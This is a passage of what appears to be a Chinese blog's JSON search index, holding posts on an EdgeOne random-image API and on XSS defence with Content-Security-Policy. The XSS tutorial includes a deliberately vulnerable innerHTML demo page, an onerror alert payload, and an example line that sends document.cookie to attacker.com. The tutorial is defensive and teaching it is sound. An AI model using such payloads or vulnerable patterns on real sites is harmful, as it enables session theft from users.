style=\"color:#66d9ef\"\u003epadding\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eposition\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003erelative\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003epadding-left\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e22\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003epadding-right\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e22\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003euser-select\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003enone\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eoutline\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003enone\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eScreenityDropdownMenuItem\u003c/span\u003e:\u003cspan style=\"color:#a6e22e\"\u003ehover\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ebackground-color\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e#F6F7FB\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ecursor\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003epointer\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eScreenityDropdownMenuItem\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003edata-disabled\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ecolor\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e#6E7684\u003c/span\u003e; \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ecursor\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003enot-allowed\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ebackground-color\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e#F6F7FB\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e@\u003cspan style=\"color:#66d9ef\"\u003ekeyframes\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003eslideUpAndFade\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003efrom\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eopacity\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003etransform\u003c/span\u003e: translateY(\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eto\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eopacity\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003etransform\u003c/span\u003e: translateY(\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e@\u003cspan style=\"color:#66d9ef\"\u003ekeyframes\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003eslideRightAndFade\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003efrom\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eopacity\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003etransform\u003c/span\u003e: translateX(\u003cspan style=\"color:#ae81ff\"\u003e-2\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eto\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eopacity\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003etransform\u003c/span\u003e: translateX(\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e@\u003cspan style=\"color:#66d9ef\"\u003ekeyframes\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003eslideDownAndFade\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003efrom\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eopacity\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003etransform\u003c/span\u003e: translateY(\u003cspan style=\"color:#ae81ff\"\u003e-2\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eto\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eopacity\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003etransform\u003c/span\u003e: translateY(\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e@\u003cspan style=\"color:#66d9ef\"\u003ekeyframes\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003eslideLeftAndFade\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003efrom\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eopacity\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003etransform\u003c/span\u003e: translateX(\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eto\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eopacity\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003etransform\u003c/span\u003e: translateX(\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026lt;/\u003cspan style=\"color:#f92672\"\u003estyle\u003c/span\u003e\u0026gt;\u0026lt;/\u003cspan style=\"color:#f92672\"\u003ediv\u003c/span\u003e\u0026gt;\u0026lt;/\u003cspan style=\"color:#f92672\"\u003ediv\u003c/span\u003e\u0026gt;\u0026lt;/\u003cspan style=\"color:#f92672\"\u003ebody\u003c/span\u003e\u0026gt;\u0026lt;\u003cspan style=\"color:#f92672\"\u003ediv\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eid\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;immersive-translate-popup\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003estyle\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;all: initial\u0026#34;\u003c/span\u003e\u0026gt;\u0026lt;/\u003cspan style=\"color:#f92672\"\u003ediv\u003c/span\u003e\u0026gt;\u0026lt;/\u003cspan style=\"color:#f92672\"\u003ehtml\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/proxy-tgweb/img/2025-08-02-18-30-40-75bf069f14b199651db36b1bda015bc2_720.webp\"\u003e\u003c/p\u003e","title":"大陆直连TG Web？触手可及！"},{"content":"正式开始 前往 afoim/EdgeOne_Function_PicAPI: 适用于EdgeOne边缘函数的随机图API\n复制 worker.js 代码\n部署到EdgeOne边缘函数\n将代码开头的 R2_CONFIG 设为你自己的\nvar R2_CONFIG = { region: \u0026#39;auto\u0026#39;, service: \u0026#39;s3\u0026#39;, accountId: \u0026#39;\u0026#39;, accessKeyId: \u0026#39;\u0026#39;, secretAccessKey: \u0026#39;\u0026#39;, bucketName: \u0026#39;\u0026#39; }; 配置你的R2，将横屏随机图放到 ri/h 和 ri/v 。保证跟代码中的路径一样\n// 根据路径确定前缀 var prefix = \u0026#39;\u0026#39;; if (pathname === \u0026#39;/h\u0026#39;) { prefix = \u0026#39;ri/h/\u0026#39;; } else if (pathname === \u0026#39;/v\u0026#39;) { prefix = \u0026#39;ri/v/\u0026#39;; } else if (pathname === \u0026#39;/\u0026#39;) { 访问 /h 则展示一张横屏随机图，访问 /v 则展示一张竖屏随机图\n如果需要绑定域名请设置触发规则\n注意 边缘函数每月有300万次的请求数限制，暂不知道超出是否扣费\n","permalink":"https://blog.2x.nz/posts/eo-function/","summary":"\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cp\u003e前往 \u003ca href=\"https://github.com/afoim/EdgeOne_Function_PicAPI\"\u003eafoim/EdgeOne_Function_PicAPI: 适用于EdgeOne边缘函数的随机图API\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e复制 \u003ccode\u003eworker.js\u003c/code\u003e 代码\u003c/p\u003e\n\u003cp\u003e部署到EdgeOne边缘函数\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/eo-function/img/4274a5c6-c3d5-468b-8c98-d515a0a22762.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e将代码开头的 \u003ccode\u003eR2_CONFIG\u003c/code\u003e 设为你自己的\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-js\" data-lang=\"js\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eR2_CONFIG\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#a6e22e\"\u003eregion\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;auto\u0026#39;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#a6e22e\"\u003eservice\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;s3\u0026#39;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#a6e22e\"\u003eaccountId\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#a6e22e\"\u003eaccessKeyId\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#a6e22e\"\u003esecretAccessKey\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#a6e22e\"\u003ebucketName\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e};\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e配置你的R2，将横屏随机图放到 \u003ccode\u003eri/h\u003c/code\u003e 和 \u003ccode\u003eri/v\u003c/code\u003e 。保证跟代码中的路径一样\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-js\" data-lang=\"js\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e// 根据路径确定前缀\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e    \u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eprefix\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e (\u003cspan style=\"color:#a6e22e\"\u003epathname\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e===\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;/h\u0026#39;\u003c/span\u003e) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#a6e22e\"\u003eprefix\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;ri/h/\u0026#39;\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    } \u003cspan style=\"color:#66d9ef\"\u003eelse\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e (\u003cspan style=\"color:#a6e22e\"\u003epathname\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e===\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;/v\u0026#39;\u003c/span\u003e) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#a6e22e\"\u003eprefix\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;ri/v/\u0026#39;\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    } \u003cspan style=\"color:#66d9ef\"\u003eelse\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e (\u003cspan style=\"color:#a6e22e\"\u003epathname\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e===\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;/\u0026#39;\u003c/span\u003e) {\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e访问 \u003ccode\u003e/h\u003c/code\u003e 则展示一张横屏随机图，访问 \u003ccode\u003e/v\u003c/code\u003e 则展示一张竖屏随机图\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/eo-function/img/fe7629b7-2acd-4e84-bd0c-d66ee7a54528.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e如果需要绑定域名请设置触发规则\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/eo-function/img/33d931d4-e7cd-4d5d-afd8-85b787524391.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"注意\"\u003e注意\u003c/h1\u003e\n\u003cp\u003e边缘函数每月有300万次的请求数限制，暂不知道超出是否扣费\u003c/p\u003e","title":"对标CF Worker？拿EdgeOne边缘函数做一个随机图API！"},{"content":"举个例子吧！ 这是一个无CSP标头的网站： 点我\n不出意外，你的浏览器会弹出一个提示\n这是如何做到的？ 这个项目开源在 afoim/none_csp_demo\nHTML内容为\n\u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;UTF-8\u0026#34;\u0026gt; \u0026lt;title\u0026gt;欢迎页面\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;欢迎\u0026lt;/h1\u0026gt; \u0026lt;p\u0026gt;你好，\u0026lt;span id=\u0026#34;name\u0026#34;\u0026gt;\u0026lt;/span\u0026gt;！\u0026lt;/p\u0026gt; \u0026lt;script\u0026gt; // 从 URL 参数读取用户名并显示 const params = new URLSearchParams(location.search); const name = params.get(\u0026#34;name\u0026#34;); document.getElementById(\u0026#34;name\u0026#34;).innerHTML = name; \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 这个网站非常简单：页面会通过查询参数 ?name=xxx 动态显示用户名。\n比如你输入 https://none-csp-demo.pages.dev/nocsp?name=AcoFork 网页就会显示\n从源码可以看出，这个网页是通过 innerHTML 直接插入文本内容的。\n这种写法没有做任何安全处理，会把传入内容直接拼接进 HTML。\n那么\u0026hellip;如果我们给网站这样一个 name 呢？\n尝试输入\nhttps://none-csp-demo.pages.dev/nocsp?name=%3Cimg%20src=x%20onerror=%22alert(%27XSS%E6%94%BB%E5%87%BB%E6%88%90%E5%8A%9F%27)%22%3E\n你会发现网站并没有打印出任何用户名，而且浏览器还弹出了一个奇怪的窗口\n我们F12查看当前网页的源代码\n发现在 \u0026lt;span id=\u0026quot;name\u0026quot;\u0026gt;\u0026lt;/span\u0026gt; 中\n被插入了一条 \u0026lt;img src=\u0026quot;x\u0026quot; onerror=\u0026quot;alert('XSS攻击成功')\u0026quot;\u0026gt; ！\n也就是说，网页并没有把我们传入的 name 当作纯文本处理，\n而是直接把它插入成了 HTML。\n因此浏览器并不会把它渲染成普通文字，例如 你好，\u0026lt;img src=\u0026quot;x\u0026quot; onerror=\u0026quot;alert('XSS攻击成功')\u0026quot;\u0026gt; ！\n而是会把 \u0026lt;img src=\u0026quot;x\u0026quot; onerror=\u0026quot;alert('XSS攻击成功')\u0026quot;\u0026gt; 当作真正的 HTML 去执行。\n由于 src=x 一定无法成功加载，再加上元素设置了 onerror 回调，\n浏览器就会直接执行 alert('XSS攻击成功') 这段脚本。\n有什么危害？ 举一反三，既然我们能让浏览器弹出一个提示框\n那么同理，它也能被用来做更多危险操作。\n攻击者完全可以伪造一条URL，然后发给你，比如获取你的浏览器Cookie然后通过Fetch发送到指定的服务器！！！ https://victim-site.com/page?name=\u0026lt;img src=x onerror=\u0026quot;fetch('https://attacker.com/log?cookie='+document.cookie)\u0026quot;\u0026gt;\n如何设置CSP以避免这类攻击？ 尝试访问这个URL，该URL设置了严格的CSP策略\nhttps://none-csp-demo.pages.dev/csp?name=%3Cimg%20src=x%20onerror=%22alert(%27XSS%E6%94%BB%E5%87%BB%E6%88%90%E5%8A%9F%27)%22%3E\n你会发现并未弹出提示框，并且F12控制台出现报错\n以下是GPT给出的翻译和解释\n翻译：\n拒绝执行内联脚本，因为它违反了以下 CSP 指令：script-src 'self'。要允许执行内联脚本，必须使用 'unsafe-inline' 关键字、指定哈希值（例如 'sha256-raHeKmhSLYgI2dPMTS+XHraijHkbV3RTs8np6RhiKqQ='），或使用随机数（例如 'nonce-...'）。\n解释：\n你的 CSP 策略里规定只能加载本域（'self'）的脚本，但是你在 HTML 页面中写了 \u0026lt;script\u0026gt;...\u0026lt;/script\u0026gt; 这样的内联脚本（inline script）。这被当前 CSP 限制了，无法执行。\n这样就能有效阻止这类 XSS 攻击继续执行。\n在HTML head中添加以下内容即可\n\u0026lt;!-- 安全的 CSP 策略 --\u0026gt; \u0026lt;meta http-equiv=\u0026#34;Content-Security-Policy\u0026#34; content=\u0026#34; default-src \u0026#39;self\u0026#39;; script-src \u0026#39;self\u0026#39;; object-src \u0026#39;none\u0026#39;; frame-ancestors \u0026#39;none\u0026#39;; base-uri \u0026#39;self\u0026#39;; \u0026#34;\u0026gt; 如何保证我的数据安全？ 如果你正在运营网站，请尽量为站点设置严格的 CSP 策略。这样即使页面存在 XSS 注入点，恶意脚本也更难真正执行。\n不要随意点击来历不明的链接或扫描来源不明的二维码。对于短链接或混淆链接，建议先解析出最终地址并评估风险后再访问；如果不确定，也可以优先使用无痕模式打开。因为目标网站未必配置了严格的 CSP，这可能进一步增加个人数据泄露的风险。\n","permalink":"https://blog.2x.nz/posts/csp/","summary":"\u003ch1 id=\"举个例子吧\"\u003e举个例子吧！\u003c/h1\u003e\n\u003cp\u003e这是一个无CSP标头的网站： \u003ca href=\"https://none-csp-demo.pages.dev/nocsp?name=%3Cimg%20src=x%20onerror=%22alert(%27XSS%E6%94%BB%E5%87%BB%E6%88%90%E5%8A%9F%27)%22%3E\"\u003e点我\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e不出意外，你的浏览器会弹出一个提示\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/csp/img/b279f283-b5d2-4dbd-955e-5b3bba6ff656.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"这是如何做到的\"\u003e这是如何做到的？\u003c/h1\u003e\n\u003cp\u003e这个项目开源在 \u003ca href=\"https://github.com/afoim/none_csp_demo\"\u003eafoim/none_csp_demo\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eHTML内容为\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-html\" data-lang=\"html\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u0026lt;!DOCTYPE html\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026lt;\u003cspan 